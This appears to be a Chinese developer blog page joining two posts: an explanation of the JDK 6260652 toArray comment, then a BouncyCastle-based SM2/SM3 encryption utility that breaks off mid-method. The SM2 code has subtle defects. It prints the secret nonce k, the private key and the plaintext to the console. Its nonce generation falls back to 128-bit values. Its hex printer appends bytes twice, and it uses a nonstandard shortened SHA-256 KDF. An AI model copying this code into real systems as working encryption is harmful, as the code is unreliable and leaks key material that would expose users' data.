Jdk 6260652 Bug

最近在看JDK的源码:CopyOnWriteArrayList.javaArrayList.java,这2个类的构造函数,注释中有一句话看不懂。

public ArrayList(Collection<? extends E> c) {
    elementData = c.toArray();
    size = elementData.length;
    // c.toArray might (incorrectly) not return Object[] (see 6260652)
    if (elementData.getClass() != Object[].class)
        elementData = Arrays.copyOf(elementData, size, Object[].class);
 }

 public CopyOnWriteArrayList(Collection<? extends E> c) {
    Object[] elements = c.toArray();
    // c.toArray might (incorrectly) not return Object[] (see 6260652)
    if (elements.getClass() != Object[].class)
        elements = Arrays.copyOf(elements, elements.length, Object[].class);
    setArray(elements);
 }

上网查了一下资料,才知道see 6260652 这个编号代表JDK bug库中的编号。可以去官网查看bug详情

http://bugs.java.com/bugdatabase/view_bug.do?bug_id=6260652

http://bugs.java.com/bugdatabase/view_bug.do?bug_id=6515694

6260652 和6515694这2个bug,貌似是同一个问题。这个bug是什么意思呢?我们先来看看一些测试代码: 

public static void test1()
{
    SubClass[] subArray = {new SubClass(), new SubClass()};
    System.out.println(subArray.getClass());

    // class [Lcollection.SubClass;
    BaseClass[] baseArray = subArray;
    System.out.println(baseArray.getClass());

    // java.lang.ArrayStoreException
    baseArray[0] = new BaseClass();
}

public static void test2()
{
    List<String> list = Arrays.asList("abc");

    // class java.util.Arrays$ArrayList
    System.out.println(list.getClass());

    // class [Ljava.lang.String;
    Object[] objArray = list.toArray();
    System.out.println(objArray.getClass());

    objArray[0] = new Object(); // cause ArrayStoreException
}

public static void test3()
{
    List<String> dataList = new ArrayList<String>();
    dataList.add("one");
    dataList.add("two");

    Object[] listToArray = dataList.toArray();

    // class [Ljava.lang.Object;返回的是Object数组
    System.out.println(listToArray.getClass());
    listToArray[0] = "";
    listToArray[0] = 123;
    listToArray[0] = new Object();

}

 1、关于test1()

        SubClass 继承自BaseClass,由于SubClass数组中每一个元素都是SubClass对象,所以

BaseClass[] baseArray = subArray;

这种强制类型转换不会报错。这其实就是java对象的向上转型,子类数组转换成父类数组是允许的。但是由于数组中元素类型都是SubClass类型的,所以

baseArray[0] = new BaseClass();

会报错

java.lang.ArrayStoreException

这也就是说假如我们有1个Object[]数组,并不代表着我们可以将Object对象存进去,这取决于数组中元素实际的类型。

2、关于test2()

List<String> list = Arrays.asList("abc");

需要注意,可以知道返回的实际类型是

java.util.Arrays$ArrayList

而不是

ArrayList

我们调用

Object[] objArray = list.toArray();

返回是String[]数组,所以我们不能将Object对象,放到objArray数组中。

3、关于test3()

ArrayList对象的toArray()返回就是Object[]数组,所以我们可以将任意对象存放到返回的Object[]数组中。

通过test2和test3可以看出,如果我们有1个

List<String> stringList

对象,当我么调用

Object[] objectArray = stringList.toArray();

的时候,objectArray 并不一定能够放置Object对象。这就是源码中的注释:

//c.toArray might (incorrectly) not return Object[] (see 6260652)

为了考虑这种情况,所以源码中进行了if判断,来防止错误的数组对象导致异常。

Arrays.copyOf(elementData, size, Object[].class);

这个方法就是用来创建1个Object[]数组,这样数组中就可以存放任意对象了。

参考链接


Jdk 6260652 Bug

SM2的非对称加解密Java工具类(bcprov-jdk15on/bcprov-jdk16)

bcprov-jdk15on实现例子

Maven依赖:

<dependency>
    <groupId>org.bouncycastle</groupId>
    <artifactId>bcprov-jdk15on</artifactId>
    <version>1.54</version>
</dependency>

Java实现如下:

import java.math.BigInteger;
import java.security.SecureRandom;
import java.util.Arrays;
  
import org.bouncycastle.crypto.DerivationFunction;
import org.bouncycastle.crypto.digests.SHA256Digest;
import org.bouncycastle.crypto.digests.ShortenedDigest;
import org.bouncycastle.crypto.generators.KDF1BytesGenerator;
import org.bouncycastle.crypto.params.ISO18033KDFParameters;
import org.bouncycastle.math.ec.ECCurve;
import org.bouncycastle.math.ec.ECPoint;
  
/**
 *   <B>说 明<B/>:SM2的非对称加解密工具类,椭圆曲线方程为:y^2=x^3+ax+b 使用Fp-256
 */
public class SM2Util {
  
    /** 素数p */
    private static final BigInteger p = new BigInteger("FFFFFFFE" + "FFFFFFFF"
        + "FFFFFFFF" + "FFFFFFFF" + "FFFFFFFF" + "00000000" + "FFFFFFFF"
        + "FFFFFFFF", 16);
     
    /** 系数a */
    private static final BigInteger a = new BigInteger("FFFFFFFE" + "FFFFFFFF"
        + "FFFFFFFF" + "FFFFFFFF" + "FFFFFFFF" + "00000000" + "FFFFFFFF"
        + "FFFFFFFC", 16);
     
    /** 系数b */
    private static final BigInteger b = new BigInteger("28E9FA9E" + "9D9F5E34"
        + "4D5A9E4B" + "CF6509A7" + "F39789F5" + "15AB8F92" + "DDBCBD41"
        + "4D940E93", 16);
     
    /** 坐标x */
    private static final BigInteger xg = new BigInteger("32C4AE2C" + "1F198119"
        + "5F990446" + "6A39C994" + "8FE30BBF" + "F2660BE1" + "715A4589"
        + "334C74C7", 16);
     
    /** 坐标y */
    private static final BigInteger yg = new BigInteger("BC3736A2" + "F4F6779C"
        + "59BDCEE3" + "6B692153" + "D0A9877C" + "C62A4740" + "02DF32E5"
        + "2139F0A0", 16);
     
    /** 基点G, G=(xg,yg),其介记为n */
    private static final BigInteger n = new BigInteger("FFFFFFFE" + "FFFFFFFF"
            + "FFFFFFFF" + "FFFFFFFF" + "7203DF6B" + "21C6052B" + "53BBF409"
            + "39D54123", 16);
     
    private static SecureRandom random = new SecureRandom();
    private ECCurve.Fp curve;
    private ECPoint G;
  
    public static String printHexString(byte[] b) {
        StringBuilder builder = new StringBuilder();
        for (int i = 0; i < b.length; i++) {
            String hex = Integer.toHexString(b[i] & 0xFF);
            if (hex.length() == 1) {
                builder.append('0'+hex);
            hex = '0' + hex;
        }
    //          System.out.print(hex.toUpperCase());
            System.out.print(hex.toUpperCase());
            builder.append(hex);
        }
        System.out.println();
        return builder.toString();
    }
  
    public BigInteger random(BigInteger max) {
        BigInteger r = new BigInteger(256, random);
        // int count = 1;
        while (r.compareTo(max) >= 0) {
            r = new BigInteger(128, random);
            // count++;
        }
        // System.out.println("count: " + count);
        return r;
    }
  
    private boolean allZero(byte[] buffer) {
        for (int i = 0; i < buffer.length; i++) {
            if (buffer[i] != 0)
            return false;
        }
        return true;
    }
  
    /**
     * 加密
     * @param input 待加密消息M
     * @param publicKey 公钥
     * @return byte[] 加密后的字节数组
     */
    public byte[] encrypt(String input, ECPoint publicKey) {
         
        System.out.println("publicKey is: "+publicKey);
     
        byte[] inputBuffer = input.getBytes();
        printHexString(inputBuffer);
     
        /* 1 产生随机数k,k属于[1, n-1] */
        BigInteger k = random(n);
        System.out.print("k: ");
        printHexString(k.toByteArray());
     
        /* 2 计算椭圆曲线点C1 = [k]G = (x1, y1) */
        ECPoint C1 = G.multiply(k);
        byte[] C1Buffer = C1.getEncoded(false);
        System.out.print("C1: ");
        printHexString(C1Buffer);
         
        // 3 计算椭圆曲线点 S = [h]Pb * curve没有指定余因子,h为空
          
    //           BigInteger h = curve.getCofactor(); System.out.print("h: ");
    //           printHexString(h.toByteArray()); if (publicKey != null) { ECPoint
    //           result = publicKey.multiply(h); if (!result.isInfinity()) {
    //           System.out.println("pass"); } else {
    //          System.err.println("计算椭圆曲线点 S = [h]Pb失败"); return null; } }
     
        /* 4 计算 [k]PB = (x2, y2) */
        ECPoint kpb = publicKey.multiply(k).normalize();
     
        /* 5 计算 t = KDF(x2||y2, klen) */
        byte[] kpbBytes = kpb.getEncoded(false);
        DerivationFunction kdf = new KDF1BytesGenerator(new ShortenedDigest(
        new SHA256Digest(), 20));
        byte[] t = new byte[inputBuffer.length];
        kdf.init(new ISO18033KDFParameters(kpbBytes));
        kdf.generateBytes(t, 0, t.length);
     
        if (allZero(t)) {
        System.err.println("all zero");
        }
     
        /* 6 计算C2=M^t */
        byte[] C2 = new byte[inputBuffer.length];
        for (int i = 0; i < inputBuffer.length; i++) {
        C2[i] = (byte) (inputBuffer[i] ^ t[i]);
        }
     
        /* 7 计算C3 = Hash(x2 || M || y2) */
        byte[] C3 = calculateHash(kpb.getXCoord().toBigInteger(), inputBuffer,
        kpb.getYCoord().toBigInteger());
     
        /* 8 输出密文 C=C1 || C2 || C3 */
        byte[] encryptResult = new byte[C1Buffer.length + C2.length + C3.length];
        System.arraycopy(C1Buffer, 0, encryptResult, 0, C1Buffer.length);
        System.arraycopy(C2, 0, encryptResult, C1Buffer.length, C2.length);
        System.arraycopy(C3, 0, encryptResult, C1Buffer.length + C2.length,
        C3.length);
     
        System.out.print("密文: ");
        printHexString(encryptResult);
  
        return encryptResult;
    }
  
    public void decrypt(byte[] encryptData, BigInteger privateKey) {
        System.out.println("privateKey is: "+privateKey);
        System.out.println("encryptData length: " + encryptData.length);
     
        byte[] C1Byte = new byte[65];
        System.arraycopy(encryptData, 0, C1Byte, 0, C1Byte.length);
     
        ECPoint C1 = curve.decodePoint(C1Byte).normalize();
     
        /* 计算[dB]C1 = (x2, y2) */
        ECPoint dBC1 = C1.multiply(privateKey).normalize();
     
        /* 计算t = KDF(x2 || y2, klen) */
        byte[] dBC1Bytes = dBC1.getEncoded(false);
        DerivationFunction kdf = new KDF1BytesGenerator(new ShortenedDigest(
        new SHA256Digest(), 20));
     
        int klen = encryptData.length - 65 - 20;
        System.out.println("klen = " + klen);
     
        byte[] t = new byte[klen];
        kdf.init(new ISO18033KDFParameters(dBC1Bytes));
        kdf.generateBytes(t, 0, t.length);
     
        if (allZero(t)) {
            System.err.println("all zero");
        }
     
        /* 5 计算M'=C2^t */
        byte[] M = new byte[klen];
        for (int i = 0; i < M.length; i++) {
            M[i] = (byte) (encryptData[C1Byte.length + i] ^ t[i]);
        }
     
        /* 6 计算 u = Hash(x2 || M' || y2) 判断 u == C3是否成立 */
        byte[] C3 = new byte[20];
        System.arraycopy(encryptData, encryptData.length - 20, C3, 0, 20);
        byte[] u = calculateHash(dBC1.getXCoord().toBigInteger(), M, dBC1
        .getYCoord().toBigInteger());
        if (Arrays.equals(u, C3)) {
            System.out.println("解密成功");
            System.out.println("M' = " + new String(M));
        } else {
            System.out.print("u = ");
            printHexString(u);
            System.out.print("C3 = ");
            printHexString(C3);
            System.err.println("解密验证失败");
        }
    }
  
    private byte[] calculateHash(BigInteger x2, byte[] M, BigInteger y2) {
        ShortenedDigest digest = new ShortenedDigest(new SHA256Digest(), 20);
        byte[] buf = x2.toByteArray();
        digest.update(buf, 0, buf.length);
        digest.update(M, 0, M.length);
        buf = y2.toByteArray();
        digest.update(buf, 0, buf.length);
     
        buf = new byte[20];
        digest.doFinal(buf, 0);
        return buf;
    }
  
    private boolean between(BigInteger param, BigInteger min, BigInteger max) {
        if (param.compareTo(min) >= 0 && param.compareTo(max) < 0) {
            return true;
        } else {
            return false;
        }
    }
     
    /**
     * 公钥校验
     * @param publicKey 公钥
     * @return boolean true或false
     */
    private boolean checkPublicKey(ECPoint publicKey) {
        if (!publicKey.isInfinity()) {
            BigInteger x = publicKey.getXCoord().toBigInteger();
            BigInteger y = publicKey.getYCoord().toBigInteger();
            if (between(x, new BigInteger("0"), p) && between(y, new BigInteger("0"), p)) {
                BigInteger xResult = x.pow(3).add(a.multiply(x)).add(b).mod(p);
                System.out.println("xResult: " + xResult.toString());
                BigInteger yResult = y.pow(2).mod(p);
                System.out.println("yResult: " + yResult.toString());
                if (yResult.equals(xResult) && publicKey.multiply(n).isInfinity()) {
                    return true;
                }
            }
            return false;
        } else {
            return false;
        }
    }
     
    /**
     * 获得公私钥对
     * @return
     */
    public SM2KeyPair generateKeyPair() {
        BigInteger d = random(n.subtract(new BigInteger("1")));
        SM2KeyPair keyPair = new SM2KeyPair(G.multiply(d).normalize(), d);
        if (checkPublicKey(keyPair.getPublicKey())) {
            System.out.println("generate key successfully");
            return keyPair;
        } else {
            System.err.println("generate key failed");
            return null;
        }
    }
  
    public SM2Util() {
        curve = new ECCurve.Fp(p, // q
        a, // a
        b); // b
        G = curve.createPoint(xg, yg);
    }
     
}
import java.math.BigInteger;
  
import org.bouncycastle.math.ec.ECPoint;
  
/**
 *   <B>说 明<B/>:SM2公私钥实体类
 */
public class SM2KeyPair {
     
    /** 公钥 */
    private  ECPoint publicKey;
     
    /** 私钥 */
    private BigInteger privateKey;
  
    SM2KeyPair(ECPoint publicKey, BigInteger privateKey) {
        this.publicKey = publicKey;
        this.privateKey = privateKey;
    }
  
    public ECPoint getPublicKey() {
        return publicKey;
    }
  
    public BigInteger getPrivateKey() {
        return privateKey;
    }
     
}
import java.util.Arrays;
  
/**
 *   <B>说 明<B/>:SM2非对称加解密工具类测试
 */
public class SM2UtilTest {
  
    /** 元消息串 */
    private static String M = "哈哈哈,&*&…………&、、//\\!@#$%^&*()物品woyebuzhidaowozijiqiaodesha!@#$%^&*())))))ooooooooppppppppppppppppppplllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkffffffffffffffffffffffffffffffffffffff";
     
    public static void main(String[] args) {
        SM2Util sm2 = new SM2Util();
        SM2KeyPair keyPair = sm2.generateKeyPair();
        byte[] data = sm2.encrypt(M,keyPair.getPublicKey());
        System.out.println("data is:"+Arrays.toString(data));
        sm2.decrypt(data, keyPair.getPrivateKey());//71017045908707391874054405929626258767106914144911649587813342322113806533034
    }
     
}

bcprov-jdk16实现例子

<dependency>
	<groupId>org.bouncycastle</groupId>
	<artifactId>bcprov-jdk16</artifactId>
	<version>1.46</version>
</dependency>
import org.bouncycastle.crypto.AsymmetricCipherKeyPair;
import org.bouncycastle.crypto.params.ECPrivateKeyParameters;
import org.bouncycastle.crypto.params.ECPublicKeyParameters;
import org.bouncycastle.math.ec.ECPoint;

import java.math.BigInteger;

public class Cipher {
    private int ct;
    private ECPoint p2;
    private SM3Digest sm3keybase;
    private SM3Digest sm3c3;
    private byte[] key;
    private byte keyOff;

    public Cipher() {
        this.ct = 1;
        this.key = new byte[32];
        this.keyOff = 0;
    }

    private void Reset() {
        this.sm3keybase = new SM3Digest();
        this.sm3c3 = new SM3Digest();

        byte[] p = Util.byteConvert32Bytes(p2.getX().toBigInteger());
        this.sm3keybase.update(p, 0, p.length);
        this.sm3c3.update(p, 0, p.length);

        p = Util.byteConvert32Bytes(p2.getY().toBigInteger());
        this.sm3keybase.update(p, 0, p.length);
        this.ct = 1;
        NextKey();
    }

    private void NextKey() {
        SM3Digest sm3keycur = new SM3Digest(this.sm3keybase);
        sm3keycur.update((byte) (ct >> 24 & 0xff));
        sm3keycur.update((byte) (ct >> 16 & 0xff));
        sm3keycur.update((byte) (ct >> 8 & 0xff));
        sm3keycur.update((byte) (ct & 0xff));
        sm3keycur.doFinal(key, 0);
        this.keyOff = 0;
        this.ct++;
    }

    public ECPoint Init_enc(SM2 sm2, ECPoint userKey) {
        AsymmetricCipherKeyPair key = sm2.ecc_key_pair_generator.generateKeyPair();
        ECPrivateKeyParameters ecpriv = (ECPrivateKeyParameters) key.getPrivate();
        ECPublicKeyParameters ecpub = (ECPublicKeyParameters) key.getPublic();
        BigInteger k = ecpriv.getD();
        ECPoint c1 = ecpub.getQ();
        this.p2 = userKey.multiply(k);
        Reset();
        return c1;
    }

    public void Encrypt(byte[] data) {
        this.sm3c3.update(data, 0, data.length);
        for (int i = 0; i < data.length; i++) {
            if (keyOff == key.length) {
                NextKey();
            }
            data[i] ^= key[keyOff++];
        }
    }

    public void Init_dec(BigInteger userD, ECPoint c1) {
        this.p2 = c1.multiply(userD);
        Reset();
    }

    public void Decrypt(byte[] data) {
        for (int i = 0; i < data.length; i++) {
            if (keyOff == key.length) {
                NextKey();
            }
            data[i] ^= key[keyOff++];
        }

        this.sm3c3.update(data, 0, data.length);
    }

    public void doFinal(byte[] c3) {
        byte[] p = Util.byteConvert32Bytes(p2.getY().toBigInteger());
        this.sm3c3.update(p, 0, p.length);
        this.sm3c3.doFinal(c3, 0);
        Reset();
    }
}
public class SM3 {
    public static final byte[] iv = {0x73, (byte) 0x80, 0x16, 0x6f, 0x49,
            0x14, (byte) 0xb2, (byte) 0xb9, 0x17, 0x24, 0x42, (byte) 0xd7,
            (byte) 0xda, (byte) 0x8a, 0x06, 0x00, (byte) 0xa9, 0x6f, 0x30,
            (byte) 0xbc, (byte) 0x16, 0x31, 0x38, (byte) 0xaa, (byte) 0xe3,
            (byte) 0x8d, (byte) 0xee, 0x4d, (byte) 0xb0, (byte) 0xfb, 0x0e,
            0x4e};

    public static int[] Tj = new int[64];

    static {
        for (int i = 0; i < 16; i++) {
            Tj[i] = 0x79cc4519;
        }

        for (int i = 16; i < 64; i++) {
            Tj[i] = 0x7a879d8a;
        }
    }

    public static byte[] CF(byte[] V, byte[] B) {
        int[] v, b;
        v = convert(V);
        b = convert(B);
        return convert(CF(v, b));
    }

    private static int[] convert(byte[] arr) {
        int[] out = new int[arr.length / 4];
        byte[] tmp = new byte[4];
        for (int i = 0; i < arr.length; i += 4) {
            System.arraycopy(arr, i, tmp, 0, 4);
            out[i / 4] = bigEndianByteToInt(tmp);
        }
        return out;
    }

    private static byte[] convert(int[] arr) {
        byte[] out = new byte[arr.length * 4];
        byte[] tmp = null;
        for (int i = 0; i < arr.length; i++) {
            tmp = bigEndianIntToByte(arr[i]);
            System.arraycopy(tmp, 0, out, i * 4, 4);
        }
        return out;
    }

    public static int[] CF(int[] V, int[] B) {
        int a, b, c, d, e, f, g, h;
        int ss1, ss2, tt1, tt2;
        a = V[0];
        b = V[1];
        c = V[2];
        d = V[3];
        e = V[4];
        f = V[5];
        g = V[6];
        h = V[7];

        int[][] arr = expand(B);
        int[] w = arr[0];
        int[] w1 = arr[1];

        for (int j = 0; j < 64; j++) {
            ss1 = (bitCycleLeft(a, 12) + e + bitCycleLeft(Tj[j], j));
            ss1 = bitCycleLeft(ss1, 7);
            ss2 = ss1 ^ bitCycleLeft(a, 12);
            tt1 = FFj(a, b, c, j) + d + ss2 + w1[j];
            tt2 = GGj(e, f, g, j) + h + ss1 + w[j];
            d = c;
            c = bitCycleLeft(b, 9);
            b = a;
            a = tt1;
            h = g;
            g = bitCycleLeft(f, 19);
            f = e;
            e = P0(tt2);  
		  
		            /*System.out.print(j+" "); 
		            System.out.print(Integer.toHexString(a)+" "); 
		            System.out.print(Integer.toHexString(b)+" "); 
		            System.out.print(Integer.toHexString(c)+" "); 
		            System.out.print(Integer.toHexString(d)+" "); 
		            System.out.print(Integer.toHexString(e)+" "); 
		            System.out.print(Integer.toHexString(f)+" "); 
		            System.out.print(Integer.toHexString(g)+" "); 
		            System.out.print(Integer.toHexString(h)+" "); 
		            System.out.println("");*/
        }
//		      System.out.println("");  

        int[] out = new int[8];
        out[0] = a ^ V[0];
        out[1] = b ^ V[1];
        out[2] = c ^ V[2];
        out[3] = d ^ V[3];
        out[4] = e ^ V[4];
        out[5] = f ^ V[5];
        out[6] = g ^ V[6];
        out[7] = h ^ V[7];

        return out;
    }

    private static int[][] expand(int[] B) {
        int[] W = new int[68];
        int[] W1 = new int[64];
        for (int i = 0; i < B.length; i++) {
            W[i] = B[i];
        }

        for (int i = 16; i < 68; i++) {
            W[i] = P1(W[i - 16] ^ W[i - 9] ^ bitCycleLeft(W[i - 3], 15))
                    ^ bitCycleLeft(W[i - 13], 7) ^ W[i - 6];
        }

        for (int i = 0; i < 64; i++) {
            W1[i] = W[i] ^ W[i + 4];
        }

        int[][] arr = new int[][]{W, W1};
        return arr;
    }

    private static byte[] bigEndianIntToByte(int num) {
        return back(Util.intToBytes(num));
    }

    private static int bigEndianByteToInt(byte[] bytes) {
        return Util.byteToInt(back(bytes));
    }

    private static int FFj(int X, int Y, int Z, int j) {
        if (j >= 0 && j <= 15) {
            return FF1j(X, Y, Z);
        } else {
            return FF2j(X, Y, Z);
        }
    }

    private static int GGj(int X, int Y, int Z, int j) {
        if (j >= 0 && j <= 15) {
            return GG1j(X, Y, Z);
        } else {
            return GG2j(X, Y, Z);
        }
    }

    // 逻辑位运算函数  
    private static int FF1j(int X, int Y, int Z) {
        int tmp = X ^ Y ^ Z;
        return tmp;
    }

    private static int FF2j(int X, int Y, int Z) {
        int tmp = ((X & Y) | (X & Z) | (Y & Z));
        return tmp;
    }

    private static int GG1j(int X, int Y, int Z) {
        int tmp = X ^ Y ^ Z;
        return tmp;
    }

    private static int GG2j(int X, int Y, int Z) {
        int tmp = (X & Y) | (~X & Z);
        return tmp;
    }

    private static int P0(int X) {
        int y = rotateLeft(X, 9);
        y = bitCycleLeft(X, 9);
        int z = rotateLeft(X, 17);
        z = bitCycleLeft(X, 17);
        int t = X ^ y ^ z;
        return t;
    }

    private static int P1(int X) {
        int t = X ^ bitCycleLeft(X, 15) ^ bitCycleLeft(X, 23);
        return t;
    }

    /**
     * 对最后一个分组字节数据padding
     *
     * @param in
     * @param bLen 分组个数
     * @return
     */
    public static byte[] padding(byte[] in, int bLen) {
        int k = 448 - (8 * in.length + 1) % 512;
        if (k < 0) {
            k = 960 - (8 * in.length + 1) % 512;
        }
        k += 1;
        byte[] padd = new byte[k / 8];
        padd[0] = (byte) 0x80;
        long n = in.length * 8 + bLen * 512;
        byte[] out = new byte[in.length + k / 8 + 64 / 8];
        int pos = 0;
        System.arraycopy(in, 0, out, 0, in.length);
        pos += in.length;
        System.arraycopy(padd, 0, out, pos, padd.length);
        pos += padd.length;
        byte[] tmp = back(Util.longToBytes(n));
        System.arraycopy(tmp, 0, out, pos, tmp.length);
        return out;
    }

    /**
     * 字节数组逆序
     *
     * @param in
     * @return
     */
    private static byte[] back(byte[] in) {
        byte[] out = new byte[in.length];
        for (int i = 0; i < out.length; i++) {
            out[i] = in[out.length - i - 1];
        }

        return out;
    }

    public static int rotateLeft(int x, int n) {
        return (x << n) | (x >> (32 - n));
    }

    private static int bitCycleLeft(int n, int bitLen) {
        bitLen %= 32;
        byte[] tmp = bigEndianIntToByte(n);
        int byteLen = bitLen / 8;
        int len = bitLen % 8;
        if (byteLen > 0) {
            tmp = byteCycleLeft(tmp, byteLen);
        }

        if (len > 0) {
            tmp = bitSmall8CycleLeft(tmp, len);
        }

        return bigEndianByteToInt(tmp);
    }

    private static byte[] bitSmall8CycleLeft(byte[] in, int len) {
        byte[] tmp = new byte[in.length];
        int t1, t2, t3;
        for (int i = 0; i < tmp.length; i++) {
            t1 = (byte) ((in[i] & 0x000000ff) << len);
            t2 = (byte) ((in[(i + 1) % tmp.length] & 0x000000ff) >> (8 - len));
            t3 = (byte) (t1 | t2);
            tmp[i] = (byte) t3;
        }

        return tmp;
    }

    private static byte[] byteCycleLeft(byte[] in, int byteLen) {
        byte[] tmp = new byte[in.length];
        System.arraycopy(in, byteLen, tmp, 0, in.length - byteLen);
        System.arraycopy(in, 0, tmp, in.length - byteLen, byteLen);
        return tmp;
    }
}
import org.bouncycastle.util.encoders.Hex;

public class SM3Digest {
    /**
     * SM3值的长度
     */
    private static final int BYTE_LENGTH = 32;

    /**
     * SM3分组长度
     */
    private static final int BLOCK_LENGTH = 64;

    /**
     * 缓冲区长度
     */
    private static final int BUFFER_LENGTH = BLOCK_LENGTH * 1;

    /**
     * 缓冲区
     */
    private byte[] xBuf = new byte[BUFFER_LENGTH];

    /**
     * 缓冲区偏移量
     */
    private int xBufOff;

    /**
     * 初始向量
     */
    private byte[] V = SM3.iv.clone();

    private int cntBlock = 0;

    public SM3Digest() {
    }

    public SM3Digest(SM3Digest t) {
        System.arraycopy(t.xBuf, 0, this.xBuf, 0, t.xBuf.length);
        this.xBufOff = t.xBufOff;
        System.arraycopy(t.V, 0, this.V, 0, t.V.length);
    }

    public static void main(String[] args) {
        byte[] md = new byte[32];
        byte[] msg1 = "ererfeiisgod".getBytes();
        SM3Digest sm3 = new SM3Digest();
        sm3.update(msg1, 0, msg1.length);
        sm3.doFinal(md, 0);
        String s = new String(Hex.encode(md));
        System.out.println(s.toUpperCase());
    }

    /**
     * SM3结果输出
     *
     * @param out    保存SM3结构的缓冲区
     * @param outOff 缓冲区偏移量
     * @return
     */
    public int doFinal(byte[] out, int outOff) {
        byte[] tmp = doFinal();
        System.arraycopy(tmp, 0, out, 0, tmp.length);
        return BYTE_LENGTH;
    }

    public void reset() {
        xBufOff = 0;
        cntBlock = 0;
        V = SM3.iv.clone();
    }

    /**
     * 明文输入
     *
     * @param in    明文输入缓冲区
     * @param inOff 缓冲区偏移量
     * @param len   明文长度
     */
    public void update(byte[] in, int inOff, int len) {
        int partLen = BUFFER_LENGTH - xBufOff;
        int inputLen = len;
        int dPos = inOff;
        if (partLen < inputLen) {
            System.arraycopy(in, dPos, xBuf, xBufOff, partLen);
            inputLen -= partLen;
            dPos += partLen;
            doUpdate();
            while (inputLen > BUFFER_LENGTH) {
                System.arraycopy(in, dPos, xBuf, 0, BUFFER_LENGTH);
                inputLen -= BUFFER_LENGTH;
                dPos += BUFFER_LENGTH;
                doUpdate();
            }
        }

        System.arraycopy(in, dPos, xBuf, xBufOff, inputLen);
        xBufOff += inputLen;
    }

    private void doUpdate() {
        byte[] B = new byte[BLOCK_LENGTH];
        for (int i = 0; i < BUFFER_LENGTH; i += BLOCK_LENGTH) {
            System.arraycopy(xBuf, i, B, 0, B.length);
            doHash(B);
        }
        xBufOff = 0;
    }

    private void doHash(byte[] B) {
        byte[] tmp = SM3.CF(V, B);
        System.arraycopy(tmp, 0, V, 0, V.length);
        cntBlock++;
    }

    private byte[] doFinal() {
        byte[] B = new byte[BLOCK_LENGTH];
        byte[] buffer = new byte[xBufOff];
        System.arraycopy(xBuf, 0, buffer, 0, buffer.length);
        byte[] tmp = SM3.padding(buffer, cntBlock);
        for (int i = 0; i < tmp.length; i += BLOCK_LENGTH) {
            System.arraycopy(tmp, i, B, 0, B.length);
            doHash(B);
        }
        return V;
    }

    public void update(byte in) {
        byte[] buffer = new byte[]{in};
        update(buffer, 0, 1);
    }

    public int getDigestSize() {
        return BYTE_LENGTH;
    }
}
import org.bouncycastle.crypto.generators.ECKeyPairGenerator;
import org.bouncycastle.crypto.params.ECDomainParameters;
import org.bouncycastle.crypto.params.ECKeyGenerationParameters;
import org.bouncycastle.math.ec.ECCurve;
import org.bouncycastle.math.ec.ECFieldElement;
import org.bouncycastle.math.ec.ECFieldElement.Fp;
import org.bouncycastle.math.ec.ECPoint;

import java.math.BigInteger;
import java.security.SecureRandom;

public class SM2 {
    //测试参数  
//  public static final String[] ecc_param = {  
//      "8542D69E4C044F18E8B92435BF6FF7DE457283915C45517D722EDB8B08F1DFC3",   
//      "787968B4FA32C3FD2417842E73BBFEFF2F3C848B6831D7E0EC65228B3937E498",   
//      "63E4C6D3B23B0C849CF84241484BFE48F61D59A5B16BA06E6E12D1DA27C5249A",   
//      "8542D69E4C044F18E8B92435BF6FF7DD297720630485628D5AE74EE7C32E79B7",   
//      "421DEBD61B62EAB6746434EBC3CC315E32220B3BADD50BDC4C4E6C147FEDD43D",   
//      "0680512BCBB42C07D47349D2153B70C4E5D7FDFCBFA36EA1A85841B9E46E09A2"   
//  };  

    //正式参数  
    public static String[] ecc_param = {
            "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF",
            "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC",
            "28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93",
            "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123",
            "32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7",
            "BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0"
    };
    public final BigInteger ecc_p;
    public final BigInteger ecc_a;
    public final BigInteger ecc_b;
    public final BigInteger ecc_n;
    public final BigInteger ecc_gx;
    public final BigInteger ecc_gy;
    public final ECCurve ecc_curve;
    public final ECPoint ecc_point_g;
    public final ECDomainParameters ecc_bc_spec;
    public final ECKeyPairGenerator ecc_key_pair_generator;
    public final ECFieldElement ecc_gx_fieldelement;
    public final ECFieldElement ecc_gy_fieldelement;
    public SM2() {
        this.ecc_p = new BigInteger(ecc_param[0], 16);
        this.ecc_a = new BigInteger(ecc_param[1], 16);
        this.ecc_b = new BigInteger(ecc_param[2], 16);
        this.ecc_n = new BigInteger(ecc_param[3], 16);
        this.ecc_gx = new BigInteger(ecc_param[4], 16);
        this.ecc_gy = new BigInteger(ecc_param[5], 16);

        this.ecc_gx_fieldelement = new Fp(this.ecc_p, this.ecc_gx);
        this.ecc_gy_fieldelement = new Fp(this.ecc_p, this.ecc_gy);

        this.ecc_curve = new ECCurve.Fp(this.ecc_p, this.ecc_a, this.ecc_b);
        this.ecc_point_g = new ECPoint.Fp(this.ecc_curve, this.ecc_gx_fieldelement, this.ecc_gy_fieldelement);

        this.ecc_bc_spec = new ECDomainParameters(this.ecc_curve, this.ecc_point_g, this.ecc_n);

        ECKeyGenerationParameters ecc_ecgenparam;
        ecc_ecgenparam = new ECKeyGenerationParameters(this.ecc_bc_spec, new SecureRandom());

        this.ecc_key_pair_generator = new ECKeyPairGenerator();
        this.ecc_key_pair_generator.init(ecc_ecgenparam);
    }

    public static SM2 Instance() {
        return new SM2();
    }
}
import org.bouncycastle.crypto.AsymmetricCipherKeyPair;
import org.bouncycastle.crypto.params.ECPrivateKeyParameters;
import org.bouncycastle.crypto.params.ECPublicKeyParameters;
import org.bouncycastle.math.ec.ECPoint;

import java.io.IOException;
import java.math.BigInteger;

public class SM2Utils {
    //生成随机秘钥对  
    public static void generateKeyPair() {
        SM2 sm2 = SM2.Instance();
        AsymmetricCipherKeyPair key = sm2.ecc_key_pair_generator.generateKeyPair();
        ECPrivateKeyParameters ecpriv = (ECPrivateKeyParameters) key.getPrivate();
